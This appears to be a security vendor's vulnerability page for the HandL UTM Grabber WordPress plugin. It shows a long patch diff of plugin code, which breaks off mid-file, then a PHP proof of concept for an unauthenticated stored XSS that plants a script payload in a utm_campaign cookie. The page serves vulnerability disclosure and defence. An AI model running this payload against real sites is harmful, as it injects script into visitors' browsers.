+	/** @return array<string, HandlUtmrabberFreeIntegrationsHandl_Integration> */
+	private function integrations() {
+		if ( $this->integrations === null ) {
+			$this->integrations = array(
+				'contact-form-7' => new Contact_Form_7_Integration(),
+				'gravity-forms'  => new Gravity_Forms_Integration(),
+				'ninja-forms'    => new Ninja_Forms_Integration(),
+				'elementor'      => new Elementor_Integration(),
+			);
+		}
+		return $this->integrations;
+	}
+
+	public function add_tests( $tests ) {
+		$tests['direct']['handl_version'] = array(
+			'test' => array( $this, 'test_version' ),
+		);
+		$tests['direct']['handl_free_audit'] = array(
+			'test' => array( $this, 'test_free_audit' ),
+		);
+		$tests['direct']['handl_caching_enabled'] = array(
+			'test' => array( $this, 'test_caching' ),
+		);
+
+		$config = $this->form_tests_config();
+
+		foreach ( $this->integrations() as $integration ) {
+			$slug = $integration->get_slug();
+			if ( ! isset( $config[ $slug ] ) || ! $integration->is_active() ) {
+				continue;
+			}
+			$copy = $config[ $slug ];
+			$tests['direct'][ $copy['test'] ] = array(
+				'test' => function () use ( $integration, $copy ) {
+					return $this->form_test( $integration, $copy );
+				},
+			);
+		}
+
+		return $tests;
+	}
+
+	public function test_version() {
+		return array(
+			'label'       => 'Upgrade your plugin to the premium version.',
+			'status'      => 'recommended',
+			'badge'       => array(
+				'color' => 'blue',
+				'label' => 'UTM',
+			),
+			'description' => 'To get the full benefit from your tracking experience. We highly recommend updating the plugin to the latest and premium version.',
+			'actions'     => '<a href="' . handl_v3_generate_links( 'handl_version', '', 'health_check' ) . '" target="_blank"><b>Click here</b> <span aria-hidden="true" class="dashicons dashicons-external"></span></a> to learn more',
+			'test'        => 'handl_version',
+		);
+	}
+
+	public function test_free_audit() {
+		return array(
+			'label'       => 'Scan your site to make sure your campaign tracking works as expected',
+			'status'      => 'recommended',
+			'badge'       => array(
+				'color' => 'blue',
+				'label' => 'UTM',
+			),
+			'description' => 'Your site might get benefit from our marketing review',
+			'actions'     => '<a href="https://handldigital.com/free-utm-audit/?utm_campaign=UTMAudit&utm_source=WordPress_FREE&utm_medium=health_check" target="_blank"><b>Take completely FREE audit </b> <span aria-hidden="true" class="dashicons dashicons-external"></span></a> to improve your tracking and boost up your revenue.',
+			'test'        => 'handl_free_audit',
+		);
+	}
+
+	public function test_caching() {
+		if ( ! function_exists( 'is_plugin_active' ) ) {
+			require_once ABSPATH . 'wp-admin/includes/plugin.php';
+		}
+
+		$cache_exist    = false;
+		$recommendation = '';
+
+		if ( function_exists( 'is_wpe' ) || function_exists( 'is_wpe_snapshot' ) ) {
+			$cache_exist     = true;
+			$recommendation .= "<li>- You are using WP Engine as your server provider: WP Engine uses server caching and it is known that it stripes query arguments and cookies.</li>";
+		}
+
+		if ( is_plugin_active( 'wp-rocket/wp-rocket.php' ) ) {
+			$cache_exist     = true;
+			$recommendation .= "<li>- You are using WP Rocket. WP Rocket does caching and it is known that it stripes query arguments and cookies.</li>";
+		}
+
+		if ( isset( $_ENV['PANTHEON_ENVIRONMENT'] ) ) {
+			$recommendation .= "<li>- You are using Pantheon as your server provider: Pantheon uses server caching and it is known that it stripes query arguments and cookies.</li>";
+		}
+
+		$positive = "<p>We could not find and caching plugin installed. Hence you should be good collecting UTMs no problem.</p>";
+		$negative = "<p>You might be occasionally missing UTMs or COOKIE parameters due to caching. Here is the list of things we could find that may adversely impacting the data collection.</p>
+	    <ul>$recommendation</ul>
+	";
+
+		$positive_action = 'If you are having trouble collecting UTMs, or if you think you are missing some UTMs, <a href="https://wordpress.org/support/plugin/handl-utm-grabber/" target="_blank">  create a support ticket here <span aria-hidden="true" class="dashicons dashicons-external"></span></a>, we'd be happy to take a look at it for you';
+		$negative_action = $positive_action;
+
+		return array(
+			'label'       => 'You might be missing some UTMs due to server caching',
+			'status'      => $cache_exist ? 'recommended' : 'good',
+			'badge'       => array(
+				'color' => $cache_exist ? 'red' : 'blue',
+				'label' => 'UTM',
+			),
+			'description' => $cache_exist ? $negative : $positive,
+			'actions'     => $cache_exist ? $negative_action : $positive_action,
+			'test'        => 'handl_caching_enabled',
+		);
+	}
+
+	/**
+	 * Per-integration Site Health copy/docs links, keyed by integration slug.
+	 *
+	 * @return array<string, array>
+	 */
+	private function form_tests_config() {
+		return array(
+			'contact-form-7' => array(
+				'label'           => 'Are your capturing/tracking UTMs properly in your Contact Form 7?',
+				'positive'        => "<p>All of your Contact Form 7 set up properly. You are good to go!</p>",
+				'negative_intro'  => "<p>Your Contact Form 7 forms are not capturing all the UTMs recommended. See the list of forms below having problems and resolve to make sure you do not miss any data</p>",
+				'positive_action' => 'You want to up your game? <a href="https://docs.utmgrabber.com/books/101-getting-started-for-handl-utm-grabber-v3/page/native-wp-shortcodes?utm_campaign=utm_proper_cf7&utm_source=WordPress_FREE&utm_medium=health_check" target="_blank"> Click here to get the list of things you can track more <span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
+				'negative_action' => '<a href="https://docs.utmgrabber.com/books/contact-form-7-integration/page/contact-form-7-utm-tracking?utm_campaign=utm_proper_cf7&utm_source=WordPress_FREE&utm_medium=health_check" target="_blank"> Click here to learn the best practice of collecting UTM parameters in Contact Form 7 <span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
+				'test'            => 'handl_cf7_shortcodes_used',
+			),
+			'gravity-forms' => array(
+				'label'           => 'Are your capturing/tracking UTMs properly in your Gravity Form?',
+				'positive'        => "<p>All of your Gravity forms set up properly. You are good to go!</p>",
+				'negative_intro'  => "<p>Your Gravity forms are not capturing all the UTMs recommended. See the list of forms below having problems and resolve to make sure you do not miss any data</p>",
+				'positive_action' => 'You want to up your game? <a href="https://docs.utmgrabber.com/books/101-getting-started-for-handl-utm-grabber-v3/page/native-wp-shortcodes?utm_campaign=utm_proper_gf&utm_source=WordPress_FREE&utm_medium=health_check" target="_blank"> Click here to get the list of things you can track more <span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
+				'negative_action' => '<a href="https://docs.utmgrabber.com/books/gravity-forms-integration/page/gravity-forms-integration?utm_campaign=utm_proper_gf&utm_source=WordPress_FREE&utm_medium=health_check" target="_blank"> Click here to learn the best practice of collecting UTM parameters in Gravity Forms <span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
+				'test'            => 'handl_gf_shortcodes_used',
+			),
+			'ninja-forms' => array(
+				'label'           => 'Are your capturing/tracking UTMs properly in your Ninja Form?',
+				'positive'        => "<p>All of your Ninja Forms set up properly. You are good to go!</p>",
+				'negative_intro'  => "<p>Your Ninja forms are not capturing all the UTMs recommended. See the list of forms below having problems and resolve to make sure you do not miss any data</p>",
+				'positive_action' => 'You want to up your game? <a href="https://docs.utmgrabber.com/books/101-getting-started-for-handl-utm-grabber-v3/page/native-wp-shortcodes?utm_campaign=utm_proper_nf&utm_source=WordPress_FREE&utm_medium=health_check" target="_blank"> Click here to get the list of things you can track more <span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
+				'negative_action' => '<a href="https://docs.utmgrabber.com/books/ninja-forms-integration/page/ninja-forms-integration?utm_campaign=utm_proper_nf&utm_source=WordPress_FREE&utm_medium=health_check" target="_blank"> Click here to learn the best practice of collecting UTM parameters in Ninja Forms <span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
+				'test'            => 'handl_nf_shortcodes_used',
+			),
+			'elementor' => array(
+				'label'           => 'Are your capturing/tracking UTMs properly in your Elementor forms?',
+				'positive'        => "<p>All of your Elementor forms set up properly. You are good to go!</p>",
+				'negative_intro'  => "<p>Your Elementor forms are not capturing all the UTMs recommended. See the list of forms below having problems and resolve to make sure you do not miss any data</p>",
+				'positive_action' => 'You want to up your game? <a href="https://docs.utmgrabber.com/books/101-getting-started-for-handl-utm-grabber-v3/page/native-wp-shortcodes?utm_campaign=utm_proper_elementor&utm_source=WordPress_FREE&utm_medium=health_check" target="_blank"> Click here to get the list of things you can track more <span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
+				'negative_action' => '<a href="https://docs.utmgrabber.com/books/elementor-integration/page/native-elementor-form-support?utm_campaign=utm_proper_elementor&utm_source=WordPress_FREE&utm_medium=health_check" target="_blank"> Click here to learn the best practice of collecting UTM parameters in Elementor <span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
+				'test'            => 'handl_elementor_shortcodes_used',
+			),
+		);
+	}
+
+	/**
+	 * Build a Site Health result for a form integration: flags any form that
+	 * is missing one or more tracked params, using get_form_status().
+	 *
+	 * @param HandlUtmrabberFreeIntegrationsHandl_Integration $integration
+	 * @param array $copy
+	 * @return array
+	 */
+	private function form_test( $integration, $copy ) {
+		$problem_forms = array();
+
+		foreach ( $integration->get_forms() as $form ) {
+			$status = $integration->get_form_status( $form['id'] );
+			if ( $status['status'] !== 'complete' && ! empty( $status['missing'] ) ) {
+				$problem_forms[] = array(
+					'title'      => isset( $form['title'] ) ? (string) $form['title'] : '',
+					'missing'    => $status['missing'],
+					'integrated' => $status['integrated'],
+				);
+			}
+		}
+
+		$bad = ! empty( $problem_forms );
+
+		if ( ! $bad ) {
+			return array(
+				'label'       => $copy['label'],
+				'status'      => 'good',
+				'badge'       => array(
+					'color' => 'blue',
+					'label' => 'UTM',
+				),
+				'description' => $copy['positive'],
+				'actions'     => $copy['positive_action'],
+				'test'        => $copy['test'],
+			);
+		}
+
+		$items = '';
+		foreach ( $problem_forms as $pf ) {
+			$captured = empty( $pf['integrated'] ) ? 'none yet' : $this->param_chips( $pf['integrated'] );
+			$items   .= '<li><strong>' . esc_html( $pf['title'] ) . '</strong><br>'
+				. '<span class="dashicons dashicons-warning" aria-hidden="true"></span> Missing: ' . $this->param_chips( $pf['missing'], true ) . '<br>'
+				. '<span class="dashicons dashicons-yes" aria-hidden="true"></span> Captured: ' . $captured . '</li>';
+		}
+
+		$description = $copy['negative_intro']
+			. '<ul>' . $items . '</ul>'
+			. '<p>Use the one click setup to add the missing fields automatically, or follow the guide below to do it manually.</p>';
+
+		$setup_url = admin_url( 'admin.php?page=handl-onboarding#/connect' );
+		$setup_btn = '<a class="button button-primary" href="' . esc_url( $setup_url ) . '">One Click Setup</a>';
+
+		return array(
+			'label'       => $copy['label'],
+			'status'      => 'recommended',
+			'badge'       => array(
+				'color' => 'red',
+				'label' => 'UTM',
+			),
+			'description' => $description,
+			'actions'     => '<span style="display:inline-flex;align-items:center;gap:12px;flex-wrap:wrap;">' . $setup_btn . $copy['negative_action'] . '</span>',
+			'test'        => $copy['test'],
+		);
+	}
+
+	/**
+	 * Render param keys as inline <code> chips.
+	 *
+	 * @param string[] $params
+	 * @param bool     $danger Tint the chips red (for missing params).
+	 * @return string
+	 */
+	private function param_chips( $params, $danger = false ) {
+		$style = $danger ? ' style="background:#fcf0f1;color:#d63638;padding:1px 6px;border-radius:3px;"' : '';
+		$chips = array();
+		foreach ( $params as $param ) {
+			$chips[] = '<code' . $style . '>' . esc_html( $param ) . '</code>';
+		}
+		return implode( ' ', $chips );
+	}
+}
--- a/handl-utm-grabber/includes/integrations/class-integration.php
+++ b/handl-utm-grabber/includes/integrations/class-integration.php
@@ -28,6 +28,45 @@
 		return handl_lite_tracking_params();
 	}

+	/**
+	 * Per-form status. @param string|int $form_id
+	 * @return array{form_id:string,status:string,integrated:string[],missing:string[]} status: complete|partial|none|not_found.
+	 */
+	public function get_form_status( $form_id ) {
+		$present = $this->detect_integrated_params( $form_id );
+
+		if ( $present === null ) {
+			return array(
+				'form_id'    => (string) $form_id,
+				'status'     => 'not_found',
+				'integrated' => array(),
+				'missing'    => array(),
+			);
+		}
+
+		$tracked    = array_map( 'strval', $this->get_tracked_params() );
+		$integrated = array_values( array_intersect( $tracked, $present ) );
+		$missing    = array_values( array_diff( $tracked, $integrated ) );
+
+		if ( empty( $integrated ) ) {
+			$status = 'none';
+		} elseif ( empty( $missing ) ) {
+			$status = 'complete';
+		} else {
+			$status = 'partial';
+		}
+
+		return array(
+			'form_id'    => (string) $form_id,
+			'status'     => $status,
+			'integrated' => $integrated,
+			'missing'    => $missing,
+		);
+	}
+
+	/** Tracked params present on the form (current + legacy formats). @return string[]|null null if form not loadable. */
+	abstract protected function detect_integrated_params( $form_id );
+
 	public function to_array() {
 		return array(
 			'slug'           => $this->get_slug(),
--- a/handl-utm-grabber/includes/integrations/class-integrations-manager.php
+++ b/handl-utm-grabber/includes/integrations/class-integrations-manager.php
@@ -38,6 +38,80 @@
 		$this->integrations[ $integration->get_slug() ] = $integration;
 	}

+	/** @return array<string, Handl_Integration> */
+	public function get_integrations() {
+		return $this->integrations;
+	}
+
+	/** @return Handl_Integration|null */
+	public function get_integration( $slug ) {
+		return isset( $this->integrations[ $slug ] ) ? $this->integrations[ $slug ] : null;
+	}
+
+	/**
+	 * Roll up per-form status for one integration. @param string $slug
+	 * @return array{slug:string,active:bool,status:string,total_forms:int,integrated_forms:int,forms:array} status: complete (all forms complete)|partial|none.
+	 */
+	public function get_integration_status( $slug ) {
+		$integration = $this->get_integration( $slug );
+
+		if ( ! $integration || ! $integration->is_active() ) {
+			return array(
+				'slug'             => $integration ? $integration->get_slug() : (string) $slug,
+				'active'           => false,
+				'status'           => 'none',
+				'total_forms'      => 0,
+				'integrated_forms' => 0,
+				'forms'            => array(),
+			);
+		}
+
+		$forms            = array_values( $integration->get_forms() );
+		$form_statuses    = array();
+		$integrated_forms = 0;
+		$complete_forms   = 0;
+
+		foreach ( $forms as $form ) {
+			$status          = $integration->get_form_status( $form['id'] );
+			$status['title'] = isset( $form['title'] ) ? (string) $form['title'] : '';
+			$form_statuses[] = $status;
+
+			if ( $status['status'] === 'complete' ) {
+				$complete_forms++;
+				$integrated_forms++;
+			} elseif ( $status['status'] === 'partial' ) {
+				$integrated_forms++;
+			}
+		}
+
+		$total = count( $form_statuses );
+		if ( $integrated_forms === 0 ) {
+			$overall = 'none';
+		} elseif ( $total > 0 && $complete_forms === $total ) {
+			$overall = 'complete';
+		} else {
+			$overall = 'partial';
+		}
+
+		return array(
+			'slug'             => $integration->get_slug(),
+			'active'           => true,
+			'status'           => $overall,
+			'total_forms'      => $total,
+			'integrated_forms' => $integrated_forms,
+			'forms'            => $form_statuses,
+		);
+	}
+
+	/** @return array<string, array> Status roll-up keyed by integration slug. */
+	public function get_all_statuses() {
+		$out = array();
+		foreach ( $this->integrations as $slug => $integration ) {
+			$out[ $slug ] = $this->get_integration_status( $slug );
+		}
+		return $out;
+	}
+
 	/**
 	 * @param array $data
 	 * @return array
@@ -59,12 +133,12 @@
 	 */
 	private function authorize_and_resolve() {
 		if ( ! current_user_can( 'manage_options' ) ) {
-			wp_send_json_error( 'Unauthorized access. Admin privileges required.' );
+			wp_send_json_error( array( 'message' => 'Unauthorized access. Admin privileges required.' ) );
 			return null;
 		}

 		if ( ! check_ajax_referer( self::NONCE_ACTION, 'nonce', false ) ) {
-			wp_send_json_error( 'Invalid nonce.' );
+			wp_send_json_error( array( 'message' => 'Invalid nonce.' ) );
 			return null;
 		}

@@ -74,7 +148,7 @@
 		}

 		if ( ! isset( $this->integrations[ $slug ] ) ) {
-			wp_send_json_error( 'Unknown integration.' );
+			wp_send_json_error( array( 'message' => 'Unknown integration.' ) );
 			return null;
 		}

@@ -83,12 +157,12 @@

 	public function ajax_list() {
 		if ( ! current_user_can( 'manage_options' ) ) {
-			wp_send_json_error( 'Unauthorized access. Admin privileges required.' );
+			wp_send_json_error( array( 'message' => 'Unauthorized access. Admin privileges required.' ) );
 			return;
 		}

 		if ( ! check_ajax_referer( self::NONCE_ACTION, 'nonce', false ) ) {
-			wp_send_json_error( 'Invalid nonce.' );
+			wp_send_json_error( array( 'message' => 'Invalid nonce.' ) );
 			return;
 		}

@@ -107,7 +181,7 @@
 		}

 		if ( ! $integration->is_active() ) {
-			wp_send_json_error( 'Integration is not active on this site.' );
+			wp_send_json_error( array( 'message' => 'Integration is not active on this site.' ) );
 			return;
 		}

@@ -121,13 +195,13 @@
 		}

 		if ( ! $integration->is_active() ) {
-			wp_send_json_error( 'Integration is not active on this site.' );
+			wp_send_json_error( array( 'message' => 'Integration is not active on this site.' ) );
 			return;
 		}

 		$action = isset( $_POST['action_type'] ) ? sanitize_key( wp_unslash( $_POST['action_type'] ) ) : 'add';
 		if ( ! in_array( $action, array( 'add', 'remove' ), true ) ) {
-			wp_send_json_error( 'Invalid action.' );
+			wp_send_json_error( array( 'message' => 'Invalid action.' ) );
 			return;
 		}

@@ -135,7 +209,7 @@
 		$fields   = $this->decode_array_param( 'fields' );

 		if ( empty( $form_ids ) ) {
-			wp_send_json_error( 'No forms selected.' );
+			wp_send_json_error( array( 'message' => 'No forms selected.' ) );
 			return;
 		}

@@ -143,7 +217,7 @@
 			$allowed = $integration->get_tracked_params();
 			$fields  = array_values( array_intersect( $fields, $allowed ) );
 			if ( empty( $fields ) ) {
-				wp_send_json_error( 'No valid fields selected.' );
+				wp_send_json_error( array( 'message' => 'No valid fields selected.' ) );
 				return;
 			}
 		}
@@ -161,6 +235,7 @@
 	 * @param string $key
 	 * @return array
 	 */
+	/** Decode a JSON assoc-array POST param (e.g. CF7's `also_add_to_email`). @return array */
 	private function decode_assoc_param( $key ) {
 		if ( ! isset( $_POST[ $key ] ) ) {
 			return array();
--- a/handl-utm-grabber/includes/integrations/contact-form-7/class-contact-form-7-integration.php
+++ b/handl-utm-grabber/includes/integrations/contact-form-7/class-contact-form-7-integration.php
@@ -148,6 +148,31 @@
 		return $results;
 	}

+	protected function detect_integrated_params( $form_id ) {
+		if ( ! $this->is_active() ) {
+			return null;
+		}
+
+		$cf = WPCF7_ContactForm::get_instance( (int) $form_id );
+		if ( ! $cf ) {
+			return null;
+		}
+
+		$props     = $cf->get_properties();
+		$form_text = isset( $props['form'] ) ? (string) $props['form'] : '';
+
+		$present = array();
+		foreach ( $this->get_tracked_params() as $param ) {
+			// Matches marker-block + legacy stray `[hidden {param}_cf7 ...]` tags.
+			$pattern = '/[hiddens+' . preg_quote( $param . '_cf7', '/' ) . '[^]]*]/';
+			if ( preg_match( $pattern, $form_text ) === 1 ) {
+				$present[] = (string) $param;
+			}
+		}
+
+		return $present;
+	}
+
 	/**
 	 * Remove all content between (and including) the provided markers, along with any following single newline to prevent leftover blank lines.
 	 *
--- a/handl-utm-grabber/includes/integrations/elementor/class-elementor-integration.php
+++ b/handl-utm-grabber/includes/integrations/elementor/class-elementor-integration.php
@@ -199,6 +199,65 @@
 		return $results;
 	}

+	protected function detect_integrated_params( $form_id ) {
+		if ( ! $this->is_active() ) {
+			return null;
+		}
+
+		$parts = explode( ':', (string) $form_id, 2 );
+		if ( count( $parts ) !== 2 ) {
+			return null;
+		}
+		$post_id   = (int) $parts[0];
+		$widget_id = (string) $parts[1];
+		if ( $post_id <= 0 || $widget_id === '' ) {
+			return null;
+		}
+
+		$raw  = get_post_meta( $post_id, '_elementor_data', true );
+		$tree = is_string( $raw ) ? json_decode( $raw, true ) : null;
+		if ( ! is_array( $tree ) ) {
+			return null;
+		}
+
+		$widget = &$this->find_form_widget( $tree, $widget_id );
+		if ( $widget === null ) {
+			unset( $widget );
+			return null;
+		}
+
+		$fields = ( isset( $widget['settings']['form_fields'] ) && is_array( $widget['settings']['form_fields'] ) )
+			? $widget['settings']['form_fields']
+			: array();
+		unset( $widget );
+
+		$tracked = array_map( 'strval', $this->get_tracked_params() );
+		$present = array();
+
+		foreach ( $fields as $field ) {
+			$type  = isset( $field['field_type'] ) ? (string) $field['field_type'] : '';
+			$cid   = isset( $field['custom_id'] ) ? (string) $field['custom_id'] : '';
+			$label = isset( $field['field_label'] ) ? (string) $field['field_label'] : '';
+
+			foreach ( $tracked as $param ) {
+				if ( in_array( $param, $present, true ) ) {
+					continue;
+				}
+				// Primary: hidden field with custom_id === param.
+				if ( $type === 'hidden' && $cid === $param ) {
+					$present[] = $param;
+					continue;
+				}
+				// Legacy: HandL-labelled field referencing the param.
+				if ( strpos( $label, 'HandL' ) !== false && strpos( $label, $param ) !== false ) {
+					$present[] = $param;
+				}
+			}
+		}
+
+		return array_values( array_unique( $present ) );
+	}
+
 	/**
 	 * Recursively walk an Elementor tree, collecting every node with
 	 * `widgetType === 'form'`.
@@ -326,9 +385,9 @@
 			array_filter(
 				$widget['settings']['form_fields'],
 				function ( $field ) use ( $tracked ) {
-					$type = (string) ( $field['field_type'] ?? '' );
-					$cid  = (string) ( $field['custom_id'] ?? '' );
-					$dyn  = (string) ( $field['__dynamic__']['field_value'] ?? '' );
+					$type = isset( $field['field_type'] ) ? (string) $field['field_type'] : '';
+					$cid  = isset( $field['custom_id'] ) ? (string) $field['custom_id'] : '';
+					$dyn  = isset( $field['__dynamic__']['field_value'] ) ? (string) $field['__dynamic__']['field_value'] : '';

 					// (a) Our custom_id-flow fields.
 					if ( $type === 'hidden' && in_array( $cid, $tracked, true ) ) {
--- a/handl-utm-grabber/includes/integrations/gravity-forms/class-gravity-forms-integration.php
+++ b/handl-utm-grabber/includes/integrations/gravity-forms/class-gravity-forms-integration.php
@@ -91,6 +91,42 @@
 		return $results;
 	}

+	protected function detect_integrated_params( $form_id ) {
+		if ( ! $this->is_active() ) {
+			return null;
+		}
+
+		$form = GFAPI::get_form( (int) $form_id );
+		if ( ! $form || ! isset( $form['fields'] ) || ! is_array( $form['fields'] ) ) {
+			return null;
+		}
+
+		$tracked = array_map( 'strval', $this->get_tracked_params() );
+		$present = array();
+
+		foreach ( $form['fields'] as $field ) {
+			$input_name = isset( $field->inputName ) ? (string) $field->inputName : ( isset( $field['inputName'] ) ? (string) $field['inputName'] : '' );
+			$label      = isset( $field->label ) ? (string) $field->label : ( isset( $field['label'] ) ? (string) $field['label'] : '' );
+
+			foreach ( $tracked as $param ) {
+				if ( in_array( $param, $present, true ) ) {
+					continue;
+				}
+				// Primary: inputName === param.
+				if ( $input_name === $param ) {
+					$present[] = $param;
+					continue;
+				}
+				// Legacy
+				if ( strpos( $label, 'HandL' ) !== false && strpos( $label, $param ) !== false ) {
+					$present[] = $param;
+				}
+			}
+		}
+
+		return array_values( array_unique( $present ) );
+	}
+
 	/**
 	 * Append HandL hidden fields to a form for any param not already present.
 	 *
--- a/handl-utm-grabber/includes/integrations/ninja-forms/class-ninja-forms-integration.php
+++ b/handl-utm-grabber/includes/integrations/ninja-forms/class-ninja-forms-integration.php
@@ -87,6 +87,37 @@
 		return $results;
 	}

+	protected function detect_integrated_params( $form_id ) {
+		if ( ! $this->is_active() ) {
+			return null;
+		}
+
+		$fields = Ninja_Forms()->form( (int) $form_id )->get_fields();
+		if ( ! is_array( $fields ) && ! is_object( $fields ) ) {
+			return null;
+		}
+
+		$tracked = array_map( 'strval', $this->get_tracked_params() );
+		$present = array();
+
+		foreach ( $fields as $field ) {
+			$key     = (string) $field->get_setting( 'key' );
+			$default = (string) $field->get_setting( 'default' );
+
+			foreach ( $tracked as $param ) {
+				if ( in_array( $param, $present, true ) ) {
+					continue;
+				}
+				// Primary: key === param. Legacy: default is `{handl:param}`.
+				if ( $key === $param || $default === '{handl:' . $param . '}' ) {
+					$present[] = $param;
+				}
+			}
+		}
+
+		return array_values( array_unique( $present ) );
+	}
+
 	/**
 	 * Insert one hidden field per requested param, skipping any that already
 	 * exist on the form
--- a/handl-utm-grabber/includes/onboarding/class-integration-onboarding.php
+++ b/handl-utm-grabber/includes/onboarding/class-integration-onboarding.php
@@ -0,0 +1,25 @@
+<?php
+namespace HandlUtmrabberFreeOnboarding;
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+/** Onboarding contract per form-plugin: locate host pages + listen for a tagged submission. */
+abstract class Handl_Integration_Onboarding {
+
+	/** Must match the matching Handl_Integration slug. */
+	abstract public function get_slug();
+
+	/**
+	 * @param string|int $form_id
+	 * @return string[] URLs of published pages that embed this form.
+	 */
+	abstract public function find_host_pages( $form_id );
+
+	/** @param callable $on_match function( string $form_id, array $posted ): void */
+	abstract public function register_test_listener( callable $on_match );
+
+	/** Whether the live-test flow is wired (vs just listing forms). */
+	public function supports_live_test() {
+		return true;
+	}
+}
--- a/handl-utm-grabber/includes/onboarding/class-onboarding-manager.php
+++ b/handl-utm-grabber/includes/onboarding/class-onboarding-manager.php
@@ -0,0 +1,463 @@
+<?php
+namespace HandlUtmrabberFreeOnboarding;
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+use HandlUtmrabberFreeIntegrationsHandl_Integrations_Manager;
+
+require_once __DIR__ . '/class-integration-onboarding.php';
+require_once __DIR__ . '/integrations/class-gravity-forms-onboarding.php';
+require_once __DIR__ . '/integrations/class-contact-form-7-onboarding.php';
+require_once __DIR__ . '/integrations/class-ninja-forms-onboarding.php';
+require_once __DIR__ . '/integrations/class-elementor-onboarding.php';
+
+class Handl_Onboarding_Manager {
+
+	const NONCE_ACTION     = 'handl_onboarding_nonce';
+	const ACTIVE_TRANSIENT = 'handl_onboarding_active';
+	const COMPLETED_OPTION = 'handl_onboarding_completed';
+	const TOKEN_PREFIX     = 'first-test-';
+	const SIGNUP_ENDPOINT  = 'https://api.utmgrabber.com/http/users/silent-register'

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57351 - HandL UTM Grabber / Tracker <= 2.9.2 - Unauthenticated Stored Cross-Site Scripting

// Configuration: Set the target WordPress site URL (with trailing slash)
$target_url = 'http://example.com/';

// Step 1: Inject a malicious cookie into the victim's browser.
// We must set the cookie before visiting a page that renders the Ninja Forms merge tag.
// One way to set a cookie is via a redirect from an attacker-controlled page.
// For demonstration, we simulate the cookie by directly injecting via cURL with a cookie jar.

// Malicious payload for the utm_campaign cookie
$xss_payload = '<script>alert('' . 'XSS-CVE-2026-57351' . '')</script>';

// Step 2: Visit a page known to contain the vulnerable merge tag (e.g., a Ninja Forms page).
// Since the merge tag is processed server-side, we need to trigger the callback.
// The page might be a contact form page or any page where {handl:utm_campaign} is used.
// We set the cookie before the request so the server reads it.

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . 'page-with-ninja-form/');  // Adjust the path as needed.
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, 'utm_campaign=' . urlencode($xss_payload));
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Check if the payload is reflected in the response
if (strpos($response, htmlspecialchars($xss_payload)) !== false) {
    echo '[INFO] The XSS payload was found in the response but may be HTML-escaped (patched case).n';
} elseif (strpos($response, $xss_payload) !== false) {
    echo '[SUCCESS] The XSS payload was reflected unescaped - vulnerability confirmed!n';
    echo 'Payload: ' . $xss_payload . "n";
} else {
    echo '[INFO] Payload not detected in the response. The page may not use the vulnerable merge tag or the plugin is patched.n';
}

echo "nNote: This PoC assumes the target has a page with the {handl:utm_campaign} merge tag.n";
echo "If the vulnerability exists, the injected cookie will cause JavaScript execution in the context of the victim's browser.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.